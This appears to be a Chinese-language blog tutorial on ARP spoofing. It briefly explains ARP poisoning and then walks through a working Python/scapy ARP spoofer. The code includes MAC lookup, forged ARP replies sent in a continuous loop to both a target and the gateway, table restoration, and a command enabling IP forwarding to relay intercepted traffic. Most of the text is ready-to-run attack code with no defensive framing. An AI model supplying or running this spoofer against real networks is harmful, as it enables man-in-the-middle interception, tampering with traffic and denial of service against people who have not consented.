ARP Spoofer:使用 Python 撰寫 「ARP 欺騙」

Note: 此教學可應用在大部分的 Linux 作業系統。

什麼是 ARP 欺騙(ARP spoofing)?

ARP 欺騙(英語:ARP spoofing),又稱ARP毒化(ARP poisoning,網路上多譯為 ARP 病毒)或 ARP 攻擊,是針對乙太網路位址解析協定(ARP)的一種攻擊技術。此種攻擊可讓攻擊者取得區域網路上的資料封包甚至可篡改封包,且可讓網路上特定電腦或所有電腦無法正常連線。


如何運作?

ARP 欺騙的運作原理是由攻擊者發送假的 ARP 封包到網路上,尤其是送到閘道器上。其目的是要讓送至特定的 IP 位址的流量被錯誤送到攻擊者所取代的地方。因此攻擊者可將這些流量另行轉送到真正的閘道(被動式封包嗅探,passive sniffing)或是篡改後再轉送(中間人攻擊,man-in-the-middle attack)。攻擊者亦可將 ARP 封包導到不存在的MAC位址以達到阻斷服務攻擊的效果。

例如某一的 IP 位址是 192.168.0.254,其 MAC 位址為 00-11-22-33-44-55,網路上的電腦內 ARP 表會有這一筆 ARP 記錄。攻擊者發動攻擊時,會大量發出已將 192.168.0.254 的 MAC 位址篡改為 00-55-44-33-22-11 的 ARP 封包。那麼網路上的電腦若將此偽造的 ARP 寫入自身的 ARP 表後,電腦若要透過網路閘道連到其他電腦時,封包將被導到 00-55-44-33-22-11 這個 MAC 位址,因此攻擊者可從此 MAC 位址截收到封包,可篡改後再送回真正的閘道,或是什麼也不做,讓網路無法連線。

參考連結:維基百科


使用 Python 撰寫 ARP 欺騙器(ARP Spoofer)

開發環境

使用模組(Python 模組)

創建ARP欺騙器的步驟

  1. 獲取我們要欺騙的 IP 地址
  2. 獲取我們要欺騙的 IP 的 MAC 地址(MAC Address)
  3. 然後使用 ARP() 函式設置目標 IP(Target IP)、欺騙 IP(Spoof IP) 以及我們在上面找到的 MAC 地址,來創建一個欺騙數據包。
  4. 開始欺騙(Spoofing)
  5. 顯示發送封包數量
  6. 最後,在欺騙(Spoofing)後將被欺騙地址的 ARP 表重新設置為默認值

實作

以下為完整程式碼:

在此我們設計一個 get_mac() 函式:

def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=5, verbose=False)[0]
    return answered_list[0][1].hwsrc

其功能是返回我們想要的 IP 地址的 MAC 地址。ARP 請求應該被廣播(傳輸到網絡中的每個 IP 地址)。因此,為了廣播 ARP 請求,我們需要將”以太網”的目標地址欄位設置為 “FF:FF:FF:FF:FF:FF”,這表示向同一網段內的所有主機發出詢問。

srp() 對應第三層網絡協議。這個函式會返迴響應和未響應的數據包。返回值是一個tuple,裡面有兩列表:result 和 unanswered。

以上已經創建了一個為我們提供所需 MAC 地址的函式,我們現在將繼續建立函式 spoof():

def spoof(target_ip, spoof_ip):
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=get_mac(target_ip),
                       psrc=spoof_ip)
    scapy.send(packet, verbose=False)

此函式採用兩個參數,即目標 IP( Target IP ) 和欺騙 IP(Spoof IP )。我們再次使用 ARP() 函數設計一個修改網關(Gateway)和目標的 ARP 表的數據包,並使用 send() 函數開始欺騙( Spoof )。您可以將詳細信息設置為 False( verbose=False ),因為發送函式會顯示一些我們不需要的默認信息。

以下我們就可以調用 spoof 函式來啟動 ARP 欺騙 (ARP spoofing) :

target_ip = "10.0.2.14"  # Enter your target IP
gateway_ip = "10.0.2.1"  # Enter your gateway's IP
spoof(target_ip, gateway_ip)
spoof(gateway_ip, target_ip)

但是現在有個問題,上面的程式只更新了一次 ARP 表。如果我們不持續更新它們,那麼默認情況下目標的 ARP 表會自行更正為默認值。 因此我們修改這段 程式 :

sent_packets_count = 0
while True:
        spoof(target_ip, gateway_ip)
        spoof(gateway_ip, target_ip)
        sent_packets_count = sent_packets_count + 2
        print("\r[*] Packets Sent "+str(sent_packets_count), end ="")

上述程式使用 while 迴圈不斷地發送封包,並且程式裡我們也會統計發送的封包數量。

上面的程式現在可以按預期正常運行,但仍有一些不完整的東西。這包括如果我們不給它一個中斷來停止這個程式將繼續運行的無限循環。

target_ip = "10.0.2.14"  # Enter your target IP
gateway_ip = "10.0.2.1"  # Enter your gateway's IP
  
try:
    sent_packets_count = 0
    while True:
        spoof(target_ip, gateway_ip)
        spoof(gateway_ip, target_ip)
        sent_packets_count = sent_packets_count + 2
        print("\r[*] Packets Sent "+str(sent_packets_count), end ="")
        time.sleep(2) # Waits for two seconds
except KeyboardInterrupt:
    print("\nCtrl + C pressed.............Exiting")

上面的程式可以完美運行,並且會在遇到鍵盤中斷時停止,並顯示錯誤訊息。這段程式幾乎是完美的,但我們在中斷後仍然沒有將 ARP 表重新更新回它們的默認值,所以以下我們要撰寫 restore() 函式來處理此件事。

def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
    scapy.send(packet, verbose=False)

註:請注意需要打開封包轉遞(IP forward)功能

echo 1 > /proc/sys/net/ipv4/ip_forward

因此最後我們得到最終的程式,可以參考前面貼的完整程式

程式連結:Github

Leave a Reply

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *